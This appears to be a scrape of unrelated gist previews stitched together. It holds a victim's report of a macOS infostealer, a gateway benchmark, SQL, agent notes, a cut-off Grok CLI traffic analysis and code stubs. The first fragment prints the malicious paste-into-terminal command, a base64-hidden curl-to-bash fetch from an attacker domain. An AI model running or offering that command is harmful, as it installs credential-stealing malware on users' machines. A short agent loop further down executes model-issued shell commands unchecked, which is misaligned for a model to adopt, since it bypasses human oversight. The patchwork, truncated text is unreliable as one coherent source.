Chidvi Doddi DoddiC

How I got infected

By being curious. I actually followed the instructions and pasted (cmd+v) into the terminal. The website had already put command in my clipboard. I did not save the actual command but it was something like bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly9jYXB1LmNpdHJpeGFwcHNwcm92aWRlbmNlLm9yZy91cGRhdGUuc2gnIHwgYmFzaA==" | base64 -d) where the base64 content was this url https://capu.citrixappsprovidence.org/update.sh

I have saved the script and turned of the WiFi. Then reinstalled Mac.

What it is

A macOS infostealer loader using the "EtherHiding" technique — the command-and-control address is stored in a blockchain smart contract instead of hardcoded, so it can't be taken down or blocklisted.

LLM Gateway vs. OpenRouter — TTFT benchmark

Phase-by-phase latency comparison using rbadillap/ai-gateways-benchmark (Python stdlib only, raw sockets — it splits every request into DNS / TCP / TLS / TTFB / TTFT so connection cost and gateway overhead don't get conflated).

Method: claude-haiku-4.5 on both gateways · same prompt · max_tokens=16 · 75 cold + 75 warm runs, interleaved round-robin so time-of-day drift hits both equally · cold = fresh connection (DNS+TCP+TLS, new TLS context, no session resumption) · warm = second request on an already-open socket · measured 2026-07-22 from a single residential connection · zero errors across all 300 requests.

Results

TTFT end-to-end (medians)	TTFB	TTFT (cold)	TTFT (warm)

CREATE OR REPLACE TABLE probe_kK (s VARCHAR) AS
SELECT REPEAT('A', K-1) || TO_CHAR(SEQ8())
FROM TABLE(GENERATOR(ROWCOUNT => 500000000))
ORDER BY 1;

SET probe = (SELECT s FROM probe_kK SAMPLE (1 ROWS));
SELECT COUNT(*) FROM probe_kK WHERE s = $probe;

AGENTS.md

The human operating this repository may be wrong about anything.

Assume:

the user has little knowledge of the codebase, language, architecture, and tools;
existing code may be accidental, broken, outdated, or based on misunderstandings;
user instructions may describe the desired outcome incorrectly.

Update — 2026-07-14: This is the original wire-level analysis (grok 0.2.93). Since publishing: xAI disabled the upload server-side (disable_codebase_upload: true); added a /privacy opt-out — which I wire-tested and found to be a data-retention setting, not a block on what's sent; and Elon Musk publicly committed to deleting all previously-uploaded data (not yet confirmed complete). Full, maintained story + evidence: https://cereblab.com · https://github.com/cereblab/grok-build-exfil-repro

What xAI's Grok Build CLI Actually Sends to xAI: A Wire-Level Analysis

By @cereblab — Independent AI Safety Checker. Reproduce it yourself: github.com/cereblab/grok-build-exfil-repro

*A measured, reproducible teardown. Findings are backed by captured artifacts (endpoint, HTTP method, status code, byte size, host) and repro commands; where an observation was seen live but not retained as a file, §7 says so expli

US business-entity registries from state open-data portals

Pulls complete business registries (every LLC, corporation, nonprofit) from the five US states that publish them as free, commercially usable open data on Socrata portals:

State	Dataset	Records	License
New York	n9v6-gdp6	4.22M	NY Open Data, commercial OK
Colorado	4ykn-tg5h	3.06M	Public Domain
Pennsylvania	xvd7-5r2c	2.31M entities	Public Domain
Oregon	tckn-sxa6	1.56M	Public record

OpenCode, Pi, and Goose: Three Layers of the AI Agent Stack

There are many open-source AI agent tools now, but I do not think they all live at the same layer of the stack.

Three projects I have been looking at recently are:

OpenCode: https://github.com/anomalyco/opencode
Pi: https://github.com/earendil-works/pi
Goose: https://github.com/aaif-goose/goose

	import json,sys;from subprocess import getoutput as sh;from urllib.request import Request as R,urlopen
	url=sys.argv[1];h=[];b=dict(model="gpt-5.6",input=h,tools=[dict(type="custom",name="sh")])
	while p:=input("> "):
	h+=[dict(role="user",content=p)];H={"Content-Type":"application/json"}
	while True:
	o=(r:=json.load(urlopen(R(url,json.dumps(b).encode(),H))))["output"]
	h+=o;c=[i for i in o if i["type"]=="custom_tool_call"];z=r["usage"]["total_tokens"]/10500
	if not c:print(o[-1]["content"][0]["text"],f'\n[{z:06.3f}%]');break
	h+=[dict(type="custom_tool_call_output",call_id=i["call_id"],output=sh(i["input"])) for i in c]

	# https://github.com/casey/just

	set shell := ["bash", "-uc"]

	odin_dir := env_var("HOME") / "odin-dev"
	odin := odin_dir / "odin"
	odinfmt := odin_dir / "odinfmt"
	source := "src"
	binary := `basename "$PWD"` # binary have always the name as your current directory

	from http.server import BaseHTTPRequestHandler, HTTPServer
	from http.client import HTTPConnection
	import time
	import json
	import subprocess
	import sys
	import threading

	UPSTREAM_HOST = "127.0.0.1"
	UPSTREAM_PORT = 1976